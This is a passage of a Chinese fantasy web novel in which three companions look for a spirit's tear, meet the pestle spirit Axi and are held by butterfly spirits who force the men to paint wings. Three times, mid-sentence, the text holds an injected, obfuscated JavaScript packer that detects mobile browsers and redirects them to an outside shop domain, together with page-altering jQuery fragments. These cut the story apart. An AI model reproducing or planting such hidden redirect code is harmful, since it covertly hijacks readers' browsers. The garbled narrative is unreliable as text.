林眠历尽千辛万苦,终于买到了自己想吃的东西。她走到瞿木身边,把买来的东西每个人分一点,开心地说:“这个饼做的好奇怪啊,花纹像个面具?但看着有些凶。” 她第一次见这样的饼,在饼皮上印着面具。 瞿木接过饼,看着这个面具,瞬间就没什么胃口,但这是林眠买的,不吃好像又太浪费了,就咬了一小口。 “我吃过了,味道还可以,你咬大口点嘛。”林眠一直看着瞿木,见他只咬了一小口,没咬到里面的馅料,不太满意地说。 瞿木这才又咬了一口。 一旁的秦宁看着这上面的图案,说了一句:“方相。” “方相是什么?”林眠问,“是上面这个图案的名字吗?” 瞿木咬了一大口,发现还真的挺好吃的,里面的味道很丰富,不过方相这个名字有点耳熟啊,他好像在哪听过。 秦宁看了眼林眠,没说话,沉默的吃了起来。 方相毕竟都是丧葬的时候才会出现的,吃东西的时候说出来,会倒胃口。 “这几天我不能和你们一起了,我是青州人,刚好需要回家一趟。”况衍君对着大家说,“等你们要到妖物的眼泪,再联系我。” “好。”秦宁点点头。 瞿木吃完最后一口饼,问:“你要回家,你怎么白天不说,现在才说?” “因为还没住过总统套房,总得试一试。”况衍君笑眯眯地回答。 瞿木语塞,这个理由...也不是不能接受。 况衍君说完,也准备离开了,离开时还和林眠说了声再见。 “你们两个怎么这么熟了?”瞿木在旁边说。 “还好吧?”林眠又拿出一个饼,吃了起来,含糊着说:“他给我的朋友圈点赞了。” “你发朋友圈了?”瞿木音调提高,引来周围人的注视。 他这几天忙的晕头转向,白天在开车,晚上还要经历奇奇怪怪的事,自然没有空去看朋友圈什么的。 “我一直都有发啊,你从来不给我点赞。”林眠嘟囔着说。 瞿木点开林眠的头像,进朋友圈看了眼,好家伙,基本上一天几条,就在刚刚她在排队买饼的时候,也发了一条。 每条下面都有况衍君的点赞和评论。 “我们回去吧。”秦宁开口说。 回到酒店的时候,林眠洗了个澡,躺在床上,用菌丝把手机架起来,舒服地躺着看手机。打开手机的时候,发现微信多了好多小红点,进去一看,发现瞿木给自己的每一条朋友圈都点赞了。 “他这是在干嘛?”林眠快速的把小红点都清干净,给瞿木发了条消息。 她和瞿木自加好友以来,都没在微信上说过一句话,上一条聊天记录还是瞿木把点外卖的地址发给自己。 【瞿木:随便看看,顺手就点了】 林眠看着消息,也就当瞿木是随手点的了。她上游戏看了一眼,发现草莓软糖也在线,就去找对方带自己刷本。 ……… 第二天清晨,林眠听到有人在敲自己的房门,眯着眼看了眼窗外,天还黑着,但门外又响了一声敲门声。 “林眠,起床了。” 林眠听到瞿木的声音,怔了一下,最终不情不愿的从床上爬起来,换好衣服再打开门。 她一看大厅的时间,才凌晨五点半!昨晚她刷本刷到很晚,根本就没睡多久。 瞿木也顶着黑眼圈,一脸幽怨地站在旁边,说:“你快去洗漱,等会我们就出发。” 他今天一大早就被秦宁拉起来,说现在出发。鬼知道他现在有多困。 林眠洗漱完,就被拉着上了车。 秦宁开着车,看了眼后座的林眠和瞿木,两个人都一脸疲惫的模样,有些不解地问:“昨晚你们都熬夜了?” “嗯。”林眠一直很老实,她发现自己自从来到城里后,就变坏了。以前她在盖山村,晚上8点就睡觉了,现在有了手机,就想着熬夜。 瞿木则要犟得多。 “这叫做报复性玩手机。” “这几天天天开车,好不容易找个酒店就出事,昨晚好不容易有个放松的环境,自然要多玩玩。”瞿木说着打了个哈欠,揉了揉眼睛。 “我们为什么要这么早出发?”林眠问,她还以为今天能多睡会呢。 秦宁开着车,进入山道,远处的山脉处,能看到一抹淡黄色的光亮,太阳正在升起。他解释说:“阿细是个善良温柔的妖物,早上去,是最不容易惊扰她的时候。” 听不明白。林眠眨眨眼,但听秦宁的就是了。 瞿木也是这么想的,只要今天能拿到妖物的眼泪,再加上况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503475|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍君身上的银木邪性,他是不是就不会死了? 也不知道要怎么做,总之一头雾水。瞿木倚靠在车窗边,看着窗外茂密的树林,这是真的要进山里面了。 林眠打开车窗,清新的空气涌入车内,让她舒服的吐了一口气。在这里,有盖山村的感觉。 车子在山路里开着,偶尔能看到一两间房屋,矗立在深山之中。 大约开了一个多小时,才抵达一个小镇,是建立在深山之中、沿着河流较为平缓的地方,房屋错落有致,村子里还有不少人,只是一眼看去,老人家居多。 “那个阿细在这里?”瞿木看了眼周围,路边不少摆摊卖菜的。 林眠已经凑上前,去和卖菜的老人交流了。 “嗯,在这里的一所老宅里。”秦宁抬眼看去,指着前面那条路,说:“往前直走,左拐走个几百米就到了。” “那我们快去吧。”瞿木说着,抬脚就往前走,顺带拉住一旁和卖菜阿伯聊天的林眠。 林眠突然被拉住,回过头看向瞿木。 “走了,办完事再来逛。” 林眠也只好和老伯打声招呼,跟着瞿木往前走。 三人来到一间大宅子前。 “这宅子,也太豪华了些。”瞿木看着这间老宅子,由衷地发自内心的夸赞。 秦宁看着这间宅子,介绍说:“这宅子据说有五百年历史了。” “难怪,看着就和周围格格不入。”瞿木点头认同,“只不过这深山老林里,谁会在这建房子?” “房子的主人不详,现在已经属于青州的旅游景点之一了。”秦宁说。 只不过地处在深山,也鲜少会有游客前来。 秦宁带着他们走进这间宅子,穿过长长的走廊,左拐右转,走了大约有十几分钟,才走到一扇门前。 “这宅子真大啊。”瞿木忍不住说。 林眠看着面前这扇门,问:“阿细在里面么?” “嗯。”秦宁点点头,他上一次来的时候,已经是五年前了。 “瞿木,你进去。” 瞿木伸出手指,指着自己,不可置信地问:“我?” “嗯,进去后你喊两声细腰,之后再说你掉了一件东西。”秦宁点点头,并示意林眠站到一边,让瞿木推开门。 瞿木不太理解,他没掉东西啊。但还是按照秦宁说的,推开门,灰尘扑面而来,弄得他浑身不适。 他捂住口鼻,对着空屋子喊:“细腰,细腰。” “哎。”一道清脆的声音出现。 瞿木辨认着声音,像是自己头顶上发出来的,他抬头看去,只见屋顶横梁处有一个小人,身穿黄色衣服,眯着眼看着自己。 “我掉了一件东西,你能帮我找找吗?”瞿木照着秦宁教的,说。心里想着,这应该就是秦宁口中的阿细。 他仰着头,虽然知道头顶上的这个阿细是妖物,但没有让人害怕的感觉,反而...有点像小精灵。 “你掉的是这个银杵,还是这个金杵?”阿细双手变出两把杵,一把散发着银光,一把散发着金光。 瞿木愣住了,这个阿细是河神吗?怎么和金斧头银斧头一个套路啊? 21. 求助 瞿木待在原地,满脑子都在思考该怎么回答。按照河神的那个传说,自己应该说是木杵?可问题是,自己没掉东西啊。 他抬眼看去,怎么这银杵和金杵这么亮眼,亮的他眼睛都快张不开了。 有那么一瞬间,他感觉自己真见到了神。 “哪一个?”细腰再次询问,声音和善的仿佛瞿木真的掉了杵。 瞿木痴痴地抬起头,看向那金杵,在这昏暗的屋内闪闪发光。 不对,瞿木突然清醒了过来,他想了一下,这金杵也就会发个金光,他又不缺这点金子,想要回去让卫管家给自己打一个就好了,还比这个更漂亮。 但秦宁也没教自己怎么回答啊,答错了会怎么样? “我没掉杵。”瞿木也不知道该怎么回答,索性实话实说。 细腰眯着眼,看看想杵又看看底下的人,说:“那这两个杵是谁掉的?” “不知道。”瞿木看着这个眯眯眼妖物,有些无语。这一个金杵一个银杵,真的是别人掉的? “既然你没掉东西,你找我有事吗?”细腰将金杵银杵收起来,坐在横梁上,眯着眼看着瞿木。 瞿木挠挠头,“有事。” “什么事?” “你能为我流一滴眼泪吗?”瞿木说。 “咦?”细腰歪着头,“你不要金杵,也不要银杵,你要一滴眼泪?” “咳咳。”瞿木挺立了身姿,正准备开口说出“我就是这么视金钱如粪土的人”时,就听到细腰说: “你还真是贪心。” “啊?”瞿木不懂,“比起金银,这更贪心?” “想要获得一滴真诚的眼泪,多难啊。”细腰点点头,一脸严肃地说。 “我不要真诚的眼泪,我要妖物的眼泪。”瞿木摆摆手,“就是像你这样的妖物,流的一滴泪。” 说完,瞿木自己也觉得怪怪的,既然都是妖物了,为什么还会流眼泪?也没人敢得罪它们啊。 “哦哦,可是不管是人还是妖物,落泪都是哀伤而致,这哀伤又来源于真诚。”细腰说。 瞿木语塞,这只妖物怎么还能说出这么...富有人类情感的话? 细腰在横梁上,见瞿木苦恼的模样,便从横梁上下来,落在瞿木的肩膀上。 瞿木侧过头,看着自己肩膀上的小人,梳着高高的发髻,眼睛眯成一条缝,脸是对着自己的,只是...它眼睛眯成一条缝,真的能看见自己吗? “你要我们妖物的眼泪做什么?”细腰问。 “为了活命,有人给我写信,说我拿不到妖物的眼泪,就会死。”瞿木粗略的解释,这中间的事说来话长。 细腰突然激动的跳了一下,旋转着身体说:“这一定是一个凄美的爱情故事。” “只有爱人的泪水,才能治愈书生的病。” 瞿木:……怎么遇到的不管是人还是妖物,没一个正常的。 “所以你能帮我吗?”瞿木再问。 细腰摇摇头,说:“实在是抱歉,我不爱你,无法为你流下泪水。” 瞿木:……不爱我,我也不介意这滴眼泪是怎么流的。 “我可以出去吗?”瞿木已经放弃了,他要找秦宁! “可以。”细腰还是待在瞿木的肩膀上,眯着眼,看着瞿木。 瞿木走到门口处,看着被关上的门,伸出手一推,门就打开了。 外面明媚的太阳照射进来,刺的瞿木恍惚了一下,肩头的细腰淡定的坐着。 “秦宁!” 瞿木喊了声秦宁。 “我们在就这。”秦宁抽了一下嘴角说。他和林眠就站在门口旁边。不过这个样子,看来瞿木通过了考验。 每个妖物都有自己的习性,细腰是杵化成的妖物,要想和她说上话,那就得通过细腰的考验。 “这是什么?”林眠一眼就注意到瞿木肩上的小人,看着还挺有意思。 “阿细。”秦宁喊了一声。 细腰听到有人喊自己阿细,头微微转动了一下,眯着眼睛看向声音发出的地方,又抽了抽鼻子,随后才欣喜地说:“是你。” “嗯。”秦宁点点头,阿细便从瞿木的肩膀上飞到秦宁的手心处,朝他作了个揖。 秦宁和阿细寒暄了一下,才跟阿细介绍瞿木和林眠。 阿细都一一作揖。 “你们原来是朋友,”阿细说道,“只是,妖物的眼泪这件事,我帮不了。” “自从和你父亲见过后,我就再也没有哭了。 “而且,他不是我喜欢的类型。” 阿细解释说。 一旁的瞿木满头黑线。 林眠好奇地看了看阿细,又看向瞿木,那好奇的眼神被瞿木直接拦了回去。 “她胡说八道的。”瞿木拉着林眠说。 “啊?”林眠没明白,她觉得阿细说的很认真啊。 秦宁也怔了一下,妖物和人类不一样。他来找阿细,也是因为阿细长时间生活在人类的宅院中,更像人,也更懂人的七情六欲。 更因为与阿细初见时,那会儿她在哭,那也是秦宁第一次见妖物哭。 现在一问,看来想要拿到妖物的眼泪也不容易。 瞿木已经不知道怎么办了,这个阿细好像有点恋爱脑,一说到眼泪就想到爱情。他总不能去勾引妖物和自己恋爱吧? “那要怎么样你才能哭?”林眠上前戳了戳阿细的脸,好奇地问。 仔细想想,在自己的印象中,就没有哭过。 阿细伸出手捂住脸,不满地看着林眠,刚想指责林眠时,鼻子却嗅到一丝怪异的味道,她确定是从林眠身上散发出来的。 林眠正睁大眼睛看着阿细。 阿细不由自主的往秦宁身上缩了缩,扭过头,说:“不知道。” “阿细,真的没办法吗?”秦宁出声。 阿细和秦宁也算是认识好几年的朋友了,她垂下头,认真地思考了一下,说:“我最近确实有一件比较难过的事。” “你们能帮我一个忙吗?” “什么?”瞿木见事情有转机,连忙问。 阿细侧过头,但由于眼睛是眯起来的,瞿木也不知道她是不是在看着自己,只得问:“什么事?你尽管说。” “阿细,你说,能办得到的,我们就去。” 秦宁说话,阿细才开口说话:“我最近认识了一位朋友,它受伤了。” “我想帮它治疗。” “受伤?”瞿木听到受伤,脱口而出:“送医院啊。” 说完,他又意识到,这妖物的朋友是不是人还说不准,动物还可以送兽医院,如果是别的... “它是一只蝴蝶,蝴蝶没有了翅膀,就没有起飞的能力。”阿细的声音微弱了下来,“它想要再飞一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518980|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你们可以去深山处吗?在这里的深山处,生活着一只妖物,它供奉着一件神器,名为蝶翅。 “你们可以帮我去借一下吗?” 阿细说,同时也解释了原因:“我是杵,没办法离开自己本体太远,只能在这间宅子里活动。” “如果能借到蝶翅,看到我的朋友再次飞起来,我一定会落泪的。” “深山?”林眠来的时候,也看到了,这周围都是连绵不绝的山脉,要找到阿细口中的妖物和神器,该怎么找? “这里的山脉连绵不绝,我们怎么找?”林眠问。 阿细扭头对着林眠,说:“我会给你们一张地图。” 说完,她凭空变换出一张地图出来,交给秦宁。 秦宁接过地图,有些吃惊地问:“以前我和父亲来的时候,从没听你说过,这里还有另一只妖物。” 阿细捂嘴笑:“不是所有的妖物都喜欢和人类接触,妖物和妖物之间,也存在一定的领域关系,我自然是不能说的。” “这次是情非得已,拜托了。”阿细作了个揖,就化成一道黄烟消失了。 原本打开的门也关上了。 “我总有一种,非常不好的感觉。”瞿木说道。 林眠点点头,问:“要进山的话,得买点吃的吧?” “你就知道吃,我的命不重要了?万一那个妖物不肯借给我们怎么办?”瞿木没好气地对林眠说。 说完,瞿木又忍不住说:“阿细的朋友虽然是一只蝴蝶,但我猜是只雄性。” “体型、大小和她也挺配的。” 秦宁看着他们两个,无奈地摇摇头,安排任务说:“时间紧迫,林眠,你负责去买吃的,瞿木,你和我去准备一下进山的装备。” 他刚刚看了眼地图,这里的山基本都是未开发,加上山里温度低,他自己是没什么问题,但瞿木和林眠... 也说不好,毕竟他们两个人体内都有菌丝。 “收到!”林眠听到买吃的,就开心。 大家就这么分工合作去了。 等到中午的时候,都在镇子入口处集合。 秦宁拿着地图在前面带路。 三人都背了个大包,一起往山里面走。 前面的路还算好走,能看得出来,镇上的人也经常从这里进山,有很多条小路可以走。 “瞿木,你进那间屋子的时候,阿细和你说什么了?”林眠无聊,就找瞿木聊聊天。 瞿木看了眼林眠,说:“她问我是掉了金杵还是银杵。” “就跟河神一样,问你掉的是金斧头还是银斧头。”瞿木耸耸肩,问前头的秦宁:“秦宁,你为什么让我进去啊?” 他感觉自己进去也没什么用啊。 “因为你有钱。”秦宁说。 “啊?”瞿木没听明白。 秦宁接着说:“这屋里除了细腰,还有两只妖物,它们平时不会出现,只有通过细腰才能找到它们。” “分别是黄金和白银,因此细腰会问你是掉了金杵还是银杵,如果你是贪心之徒,则会陷入一场纸醉金迷的梦境之中,第二天才会醒过来。 “而细腰就再也不会出现了。” 瞿木一听,这个小妖物还挺有意思的,幸好他不为金钱所折腰。 林眠没说话,如果是她... 那肯定选金杵! 22. 蝴蝶黑工厂 瞿木拿起手机看了看,兴奋地说:“有信号!” 林眠呼了一口气,看着前面茂密的树林,问:“还要走多久?” “根据地图,还要再走一段,已经很近了。”秦宁说,只是他还有一点不放心,这地图上标注的位置离村镇不算太远,虽然也在山里面,却感觉不像是妖物会选择的住所。 “那就好。”瞿木靠在树上喘着气,“我一个爬过黄山的人,都累的不行了。” 林眠听说还要走一段,从背包里拿出吃的,给他们都分了点,说:“那还是吃点再上路吧。” 瞿木接过吃的,听到林眠这句话,顿时有些无语了,什么叫做吃饱再上路?但林眠一贯如此,他也懒得说了。 天已经慢慢暗下来了。 瞿木拿出手电筒,分了一个给自己和林眠,秦宁没有。 “他不用吗?”林眠指了指秦宁,问瞿木。 “他有祖传的宝贝,驱魔弓,亮得不行,哪里需要手电筒。”瞿木说。 林眠心想也是,她也见过那把弓,小巧的只有巴掌这么大,但在黑夜中,会散发着红光,照明指路是没有问题的。 不知道是用什么材料做成的。 瞿木走着走着,就忍不住靠着林眠走,这一到晚上,他就感觉阴风阵阵,毛骨悚然,脚步就不由自主的走到林眠身旁。 “你不要怕,没有鬼。”林眠注意到瞿木的不安,安抚他说。 瞿木看了眼林眠,不作反驳。 世界上到底有没有鬼,他已经分不清了。 林眠看着瞿木害怕的模样,就觉得有些好玩,明明长这么高的个子,胆子却这么小,遇到害怕的事还喜欢拉着别人,就和小孩儿一样。 前面带路的秦宁突然停了下来。 “怎...怎么了?”瞿木问,声音有些发抖。 “到地图标注的地方了。”秦宁看了看周围,和一路上的风景没什么不同。 瞿木也看了看周围,“你是不是看错地图了?” “不可能。”秦宁回答的十分有自信。 林眠抬头看着天上的半轮残月,配合着周边树木的枝干,拿出手机拍了一张,发了个朋友圈。 但是深山里,只有一格信号,也不知道什么时候能发出去。 林眠只好把手机收起来,看着秦宁在四周查看,驱魔弓红色的光芒在黑暗中十分的显眼。 瞿木在一旁唉声叹气,谁大晚上在山里面过夜啊?早知道明天早上再来好了,至少抵达这里的时候,不是晚上。 “蝴蝶。”林眠突然出声,将他们两个的注意力都吸引过来。 一只白色的蝴蝶落在林眠的手上,扑动着翅膀。 “还真是蝴蝶。”瞿木凑上前,看了看这只蝴蝶,说:“这蝴蝶是不是在发光啊?” “世界上有发光的蝴蝶吗?”瞿木自言自语地说。 秦宁走过来,用驱魔弓靠近了一下,蝴蝶就从林眠的手上起飞了。 这只蝴蝶有点怕这驱魔弓。 “它身上有妖物的气息。”秦宁做出结论。 蝴蝶在空中扑腾着翅膀,往前飞了几步,见他们不跟上,又飞了过来。 “它在给我们指路。”林眠说,并看向秦宁,“要不要跟上去?” “别了吧,这深山老林,随便跟着...不知名的东西走,很危险的。”瞿木插上话,他是不敢跟着走。 秦宁没听瞿木的,说:“走。” “诶!”瞿木无奈,就是不听自己的话是吧? “大多数妖物都是好的,不会伤害人,有些甚至会帮助人。”秦宁对瞿木解释说,他虽然是除妖师,但并不厌恶妖物。 瞿木也不好说什么,但是他见过的妖物,就没几个是好的。 林眠走在最前面,跟着蝴蝶走,都快跑起来了。 “她这体力也是绝,不去参加奥运会可惜了。”瞿木在后面抱怨道,他都感觉腿快没知觉了。 不知道走了多久,蝴蝶才停了下来,前面有一个闪闪发光的地方。 “前面有个洞口。”林眠回过头跟他们说。 这回不等秦宁开口,瞿木主动说:“来都来了,不进去就可惜了。” “进!” 于是,由瞿木带头,走进山洞里。 越往前走,洞就越宽,周围也就更亮。更重要的是,蝴蝶也多了起来,清一色都是白色,在洞穴里飞舞。 瞿木爬出洞穴,看着面前的景色,说了一句:“仙境啊。” 林眠和秦宁走出来,也都被眼前的景象惊住了。 面前是一片花海,无数只白色蝴蝶在花海中翩翩起舞,散发着温和的白光,将黑夜映照的如同白昼。 “这是真的吗?”林眠也忍不住发问。 秦宁看着这些蝴蝶,说:“据记载,世上有一种妖物,称之为面蝶,居住在深山之中,是蝴蝶之王。” “听着就很美。”林眠搭腔,“那蝶翅应该就在面蝶的手里。” “嗯。”秦宁也这么觉得,只是记载里,没有提到过蝶翅。 还不等他们做出什么反应,这群蝴蝶朝着它们飞了过来,围绕着每个人。 “这干嘛啊?”瞿木发现这些蝴蝶落在自己身上,慢慢的,他发现自己的腿离开地面了。 “这群蝴蝶把我提起来了!”瞿木咂舌。这简直就是大力蝴蝶,怕不是吃了菠菜。 林眠和秦宁也是。 “我们要怎么办?”林眠问,这群蝴蝶好像要把他们带到别的地方去。 瞿木也不知道,看向一旁的秦宁,问:“现在怎么办啊?” 秦宁摇摇头,说:“先静观其变,对方没有恶意。” “更何况,我们是来借东西的。” 为了表达诚意,这个时候,就应该顺从。 瞿木听了,心想也是,只好任由蝴蝶带着自己走。 只是走到分岔路口的时候,蝴蝶带着林眠往另一个方向去。 “我...”林眠看着另一条路上的瞿木和秦宁,有些不知所措。 “它们走错路了吗?”瞿木朝着林眠喊。 林眠哪里知道啊,她有些激动地动了一下手,之后就有蝴蝶在林眠的面前摆出了一个大大的“请”字。 “你们还识字啊。”林眠不可置信地说。 “蝴蝶还会写字啊?”瞿木也开口说。 秦宁对林眠说:“林小姐,它们在邀请你,但不知道什么原因要将我们分开。” 林眠也不懂,但这个状况下,她也不想打破现在的和谐状况,便对秦宁说:“好,那我们分开,随机应变。” “好。” 说完了之后,林眠就彻底消失在瞿木和秦宁的视线中。 “秦宁,你怎么放心让她一个人去?万一出事了怎么办?”瞿木有些担忧,他感觉在这深山里面,就不会有好事情。 “比起林眠,你不如担心一下我们。”秦宁换了个姿势,任由蝴蝶拉着自己前进。 瞿木抿着唇,“她怎么也是一个女孩子。” “她体内有菌丝,虽不知是什么来源,但在关键时刻会保护她,而且,你看林眠她害怕吗? “你不如考虑一下,我们两个怎么办。” 秦宁也不知道是调侃还是什么意思,把瞿木弄的都不知道该说些什么了。 “我看,我最该担心的是我自己。”瞿木最后憋出这句话,毕竟林眠有菌丝,秦宁有驱魔弓,哪个不必自己强? 自己体内的菌丝,简直就是低配版,只能让自己受伤的时候快速恢复,其他一点用都没。 “不对啊,现在已经是晚上了。林眠离我那么远,我晚上睡觉怎么办?”瞿木突然想到这个问题,他现在都还没办法离开林眠啊! 秦宁没吭声,这件事他没办法解决。 …… 林眠被蝴蝶们“请”到一个地方后,就被放了下来。她抬起头,看着面前这个富丽堂皇的...宫殿?林眠不太确定,但应该可以用宫殿来形容。 蝴蝶在前面,指引她往前走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533219|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林眠也秉持着“来都来了”的原则,跟着走了进去。 长长的走廊,还铺了红毯,洁白的墙壁上挂着各种各样的面具,以及...蝴蝶形状的艺术品。 林眠一边走,一边看,有些疑惑,为什么这里会有面具?不过看起来和昨晚在青州市里见到的,有一些不太一样,又很像。 这两种感觉让林眠疑惑了一下。 前面带路的蝴蝶突然停了下来,打开一扇门。 林眠抬脚走进去,门就关上了。 这是一间房间,柔软洁白的大床。林眠毫不犹豫地直接往床上躺了下去,看着天花板上的吊灯,是蝴蝶形状的。 她有一种回到瞿木家的感觉,床都是这么的柔软、舒适。 还不等她躺一会,就有蝴蝶进来,还推开了浴室的门,让林眠进去。 “这是让我去洗澡吗?”林眠有些疑惑,有蝴蝶落在林眠的手上,再飞到浴室里。 林眠大概明白蝴蝶的意思,但这未免也太周到了,还让自己洗澡。 不过,她还是去了。 洗完澡后,林眠出来发现架子上挂了一件衣服。 “要我穿吗?”林眠上前摸了摸衣服,是丝绸,而且不是日常穿的,更像是礼服。 林眠没有换上衣服,现在天色已黑,这里还有一张柔软的大床,她自然认为这是对方的待客之道。 加上实在是有些累了,她今天早上五点多就被瞿木叫醒了,然后爬了一下午的山,现在快困死了。 另一边。 瞿木和秦宁被蝴蝶们拉着到了一处黑暗的地洞处。 “这是干嘛?”瞿木看了眼那个地洞,有些摸不着头脑。 “不知道。”秦宁也被放了下来,看着这个地洞,在漆黑的夜晚里,着实有些瘆人。 他们两个在地洞口处看着,身后有蝴蝶用力地推着他们,让他们往前走。 “这是让我们进去啊?”瞿木被推着往前走,对着同样境地的秦宁说。 “嗯,进去看看吧。”秦宁也不知道这群蝴蝶想要做什么,这地洞里又有什么? 往前走了一段路,拐了几个弯就能看到前面有暗黄色的灯光。 瞿木睁大眼睛,用自己5.1的视力看清楚了,前面有桌子,旁边还有一堆乱七八糟的东西。 他和秦宁被迫坐在石凳上,背对着背。 “翅膀?”瞿木坐下来,才看清楚,这堆东西是什么,竟然是蝴蝶的翅膀,还都是纯白色的,但是不会像这些飞着的蝴蝶一样,并不会发光。 有几只蝴蝶飞到桌子上,用力地搬来地上的翅膀,放到桌上,再拿起笔,蘸了蘸一旁的颜料,给翅膀上色。 它们的动作很慢,给一个蝶翅上色大概花了五六分钟才做好。 做好后,蝴蝶便飞到瞿木的鼻子上,示意他。 “不是吧?要我给这些蝶翅上色?”瞿木反应过来,满脸都是震惊。他堂堂北城瞿家大少爷,让他做这种活? 恍惚之间,他还真看到蝴蝶点头了。 “我不干!”瞿木怒斥道。 下一秒,他的手背出就感觉到一阵疼痛,是一只蝴蝶用前足扎了自己一下。他刚想反抗,就看到一群蝴蝶竖起前足,对着自己。 “不想被疼死,就干吧。”秦宁已经拿起笔,开始给蝶翅上色了,“就当时表达我们的善意,这些蝴蝶似乎很需要这些东西。” 秦宁说着,看向前方,前方不远处,也有很多蝴蝶忙忙碌碌的在给蝶翅上色。 瞿木看了眼手背鼓起来的包,又看向前排的蝴蝶,在犹豫和挣扎之下,最终还是拿起笔,开始给蝶翅上色。 蝴蝶们这才满意的散开。 “这有没有毒啊?”瞿木一边上色,一边抱怨的看着自己手背上的包,现在不疼了,但是包还在。 “啊!” “怎么又抓我?”瞿木刚刚就说了一句话,就被蝴蝶抓了一下。他看向这周围的蝴蝶,才发现还有监工蝴蝶! 他这是进了黑工厂吗? 23. 茧 瞿木和秦宁在山洞里干活,不知道干了多久,瞿木感觉手都发麻了,他每打一次盹,就被蝴蝶抓一下,两条手臂都是包。 “哐当”一声,瞿木麻木地回过头,看着秦宁站起来。 秦大师怎么比自己还扛不住?瞿木手上的动作没有停,一双眼却紧紧地盯着秦宁,准备着等会儿揭竿起义。 这破活谁爱干谁干! 就在他满怀期待的注视下,秦宁对一旁的监工蝴蝶招招手,低声不知道说了些什么,就在蝴蝶的簇拥之下,慢步往外走。 “你怎么走了?”瞿木扛不住了,猛地站起身,对秦宁喊道:“我怎么办?” 秦宁回头看了眼瞿木,说:“我去趟厕所,等会就回来,你好好干。” 还不等瞿木说话,周围的蝴蝶就把瞿木围起来了,用着锋利的前足,给瞿木弄的苦不堪言。 “我做,我做就是了。”瞿木最终还是坐了下来,认命的拿起笔,一点一点的给蝶翅上色,重复而又麻木。 只是过了好久,瞿木感觉天都要亮了,但是秦宁还是没有回来。 就知道,秦宁肯定不是单纯的去上厕所,但这么久还没回来,不会出事了吧?瞿木心里想着,心里越来越不安,也不知道林眠怎么样了,是不是也和自己一样,在给蝶翅上色。 不过这些蝶翅有什么用?这里都是蝴蝶,要蝶翅能干嘛? 瞿木怎么看,都觉得这玩意只有装饰作用,也想不明白,一个妖物要这个做什么。而且这里的妖物是蝴蝶,本来就有翅膀。 就在他胡思乱想中,天边泛起一抹白,天亮了。 蝴蝶们也停了下来,并且外面的蝴蝶带来了一封信,交到瞿木的手上。 瞿木接过信,上面写着: 【蝶翅之邀: 欢迎来到生死之境,这里是生与死的交界之处。蝴蝶们准备了盛宴,特邀请您参加破茧之宴,谢谢您昨夜的付出,感激不尽。 蝴蝶女王】 瞿木看着落款处的蝴蝶印章,揉了揉眉心,破茧之宴是什么?邀请他参加?他打一晚上黑工就为了这个? 周围的蝴蝶突然一窝蜂的涌来上来。 瞿木还没反应出什么情况,就发现自己身上裹上了一层丝,并且以极快的速度在增加,他本能的开始挣扎,但挣扎的速度没有结茧的速度快。 很快,他的眼前一片黑暗。 他被茧给缠起来了。瞿木意识到这个问题,惊恐地睁大眼睛,想尽办法挪动身体,想要挣脱这个茧。 这哪里是邀请?这根本就是绑架! …… 林眠以为自己今晚能睡个好觉,只是半夜突然惊醒,她看着已经熄灭的蜡烛,外面的月色将屋内照的很亮。 她拍了拍脸,刚刚是怎么了? 睡意也全无了。 林眠从床上起来,看着屋内的装饰,走到桌子前,一屁股坐在椅子上,桌上有一个小型架子,上面放了几本书。 她随手拿下一本,翻看了一下,全英文的,看不明白。 就在林眠准备放回去的时候,书里突然掉出一个书签下来。她弯下腰捡起来,还没来得及看书签上的内容,一抬头,就发现落地窗处出现一个巨大的黑影。 林眠咽了口口水,坐正了身体,不知道窗外是何物。 就在她胆战心惊之时,外面巨大的黑影突然变成一个人形模样,并礼貌地敲了几下窗户,问:“我能进来吗?” 林眠张了张嘴,看着地面上的黑影,话在嘴边打了几个结,才开口说:“你是谁?” “我叫阿轻,是这里的蝴蝶之王。” 林眠一听,恍然大悟,原来是蝴蝶之王,她听秦宁说过,住在这里的应该是叫一种面蝶的妖物,不过对方自称是蝴蝶之王也没错。 “进来。”林眠连忙站起来,走到床边。 窗外是一个小女孩模样的人,只是头上长着两只可爱、毛茸茸的触角。她见到林眠,开心地上前一把抱住林眠,把林眠弄的有点不知所措。 “又见到你了。” “你是特地来看我的吗?” 林眠看着怀中的小女孩,她眼睛闪亮的就像是天上的月亮,泛着光。 “我们…认识吗?”林眠问她。 阿轻松开林眠,认真地打量着林眠,说:“你不记得我了?” “你得模样和之前不太一样了,”阿轻说着,恍然大悟般地说:“你换了一具身躯,也没有了之前的记忆。” “但是不要紧,我的朋友是你身体里面的菌丝。” 林眠听的糊里糊涂,自己体内的菌丝,还有朋友? “不好意思,我听不明白。”林眠向阿轻表示说。 